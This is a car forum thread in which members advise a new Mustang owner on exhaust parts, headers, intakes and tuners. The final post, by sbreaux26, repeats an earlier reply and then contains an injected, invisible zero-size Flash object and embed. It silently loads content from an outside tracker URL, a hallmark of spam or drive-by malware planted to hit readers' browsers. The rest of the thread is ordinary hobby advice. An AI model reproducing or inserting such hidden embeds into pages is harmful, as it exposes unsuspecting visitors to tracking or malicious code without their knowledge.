Exhaust Questions

[1_sic_pny]

I am new to this forum and I just got my first mustang 3 weeks ago.

Here are my plans for exhaust, shorty headers, off road x pipe, cat to axel pipes, axel back flowmaster american thunder classic mufflers.

My question is are the cat to axel pipes really worth buying?? I see that alot of people just leave the stock ones in.

 

[MATRIX4.6]

First of all congrats on the steed and welcome to the board. Second, a lot of people leave the pipes aft of the cats in myself included because for most na applications they flow pretty well. On the other hand there is a pinch in the pipe as it goes over the axel and the diameter shrinks a couple of inches, not really noticeable with minor bolt ons. A lot of owners have future plans for their ponies and rather than come back to it many mods later, get the full manderel bent (same diameter all the way through) pipes that go over that axel section done and out of the way. Its all on what your plans are with the car. FYI check out the stickies at the top of this page because I am sure you will find your answers to your next exhaust questions there.

Congrats again.

 

[1_sic_pny]

thank you,

as far as future plans with the car, i dont know if i want to go na stroker or supercharge it later on.

 

[gmantheman]

Most people including me find O/R X and Flows to be too raspy sounding-almost like an import. If that's what you looking for then that's a good combo. Generally if you are going with an O/R X go with a straight thru design axleback such as stingers (FRPP, Borla, Steeda), Bassani Race or Magnapacks.

 

[Rob@Ninosport]

MY opinion... If your going to go with headers i highly suggest ceramic coated longtubes. Also, the flowmasters sound good, but only with certain setups. I have gone through 4-5 axlebacks, including the Flowmasters. I had the flows on right after i went to a offroad xpipe. Its pretty loud, but not annoying... except for the fact then when i drove from San Antonio to Houston i would always feel like i was going to fall asleep at the wheel because the highway drone was so deep and loud that it just put me to sleep.

Cat to axle pipes arent needed. the factory one is great. I had the Pypes mid muffler (comes with new catback pipes) and there was no noticable difference. Go to MustangExhaust.com - Find the Perfect Rumble! and check out a few different setups and see what you like the most. I am now running SLP longtubes, offroad X, and Ford Racing GTA Mufflers and i love it, and if i feel like being realyl loud i just open up my electric cutouts

 

[1_sic_pny]

what is the real difference between a x pipe and a h pipe?? i mean the real performance difference and sound difference. if you are not going to gain but 1 or 2 hp with an x pipe then whats the big deal with it?? i know they say the x has more rasp than the h. i just like that classic hollow flowmaster sound and thats what i am going for.

 

[Rob@Ninosport]

If thats what your going for then do it. An h-pipe with flows sounds good, flows just arent very good with x-pipes. When it comes to headers if i were you i would consider longtubes instead of shorties. Im pretty sure most people will agree.

 

[MATRIX4.6]

X pipes differe from H pipes in how the air is disrupted down pipe. X pipes are a more free flow design with less restriction than an H pipe. They will only sound good with a muffler that has a straight through design. A chambered muffler like the flowmaster 40 is not straight through and when coupled with an X pipe sounds like crap in my opinion. Now on the other hand H pipes with a chambered mufflers sound great, very little rasp and deeper classical tone. Good x pipe set ups have little rasp but are not as deep as H pipes but my be louder over all. Headers are more beneficial for power if you go long tubes hands down. Shorties are more for asthetics but do add some power but I would say less the noticeable.

 

[1_sic_pny]

i decided to go with the mac axle backs. got them for $319 shipped from sounthern mustang. i am thinking on going with your advice and getting the long tube headers. might go with mac there also and then got a pro chamber. then i am going to get a cai and a tuner. for the tuner i am looking into the sct livewire.

 

[MATRIX4.6]

Great selection, you will not be disappointed!

 

[Rob@Ninosport]

i decided to go with the mac axle backs. got them for $319 shipped from sounthern mustang. i am thinking on going with your advice and getting the long tube headers. might go with mac there also and then got a pro chamber. then i am going to get a cai and a tuner. for the tuner i am looking into the sct livewire.

Good choice on the parts. SCT livewires look pretty neat, but ive never played around with one. What CAI are you looking at?

 

[1_sic_pny]

as far as a CAI, i was thinking the ford racing or a k&n. this is my first mustang so i dont know which ones work best on this car. but i do know the k&n worked well on the trucks i have had in the past. i figure a CAI and a throttle body will do good till i decide weather i am going na or supercharger. if i go na i want to stroke it out.

 

[MATRIX4.6]

I was debating the same thing like you are so I went with the Ford racing 90MM cai for the main reason of being able to keep it if I decided to go whipple or saleen supercharger. Most other CAI's have to go bye bye if you supercharge your car. The main difference between those and the Ford Racing is their plastic tube/plenum thingy that connects the filter to the throttle body.

 

[1_sic_pny]

that is also a good point. cause if i am buy it then go supercharger then it kind of feels like i wasted money by having to get rid of it. so being able to keep it is a big plus.

 

[Rob@Ninosport]

Yeah, the Ford racing one is pretty good. But even if you did get a supercharger you could just clean up the CAI and sell it on the classifieds. C&L is really nice, but a little expensive. I actually run a JLT2 and i love it, good price to. Also about the throttle body, some people say they cause more problems than its worth and not to get it, but some people have very good gains and no problems, so you might want to think about that though. I would suggest asking on here and get multiple peoples opinions... start a poll.
Oh and i think NA 400rwhp would be badass

 

[sbreaux26]

Most people including me find O/R X and Flows to be too raspy sounding-almost like an import. If that's what you looking for then that's a good combo. Generally if you are going with an O/R X go with a straight thru design axleback such as stingers (FRPP, Borla, Steeda), Bassani Race or Magnapacks.<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4097"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4097" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>

Definately dont want it sounding like a ricer. Congrats on the new car.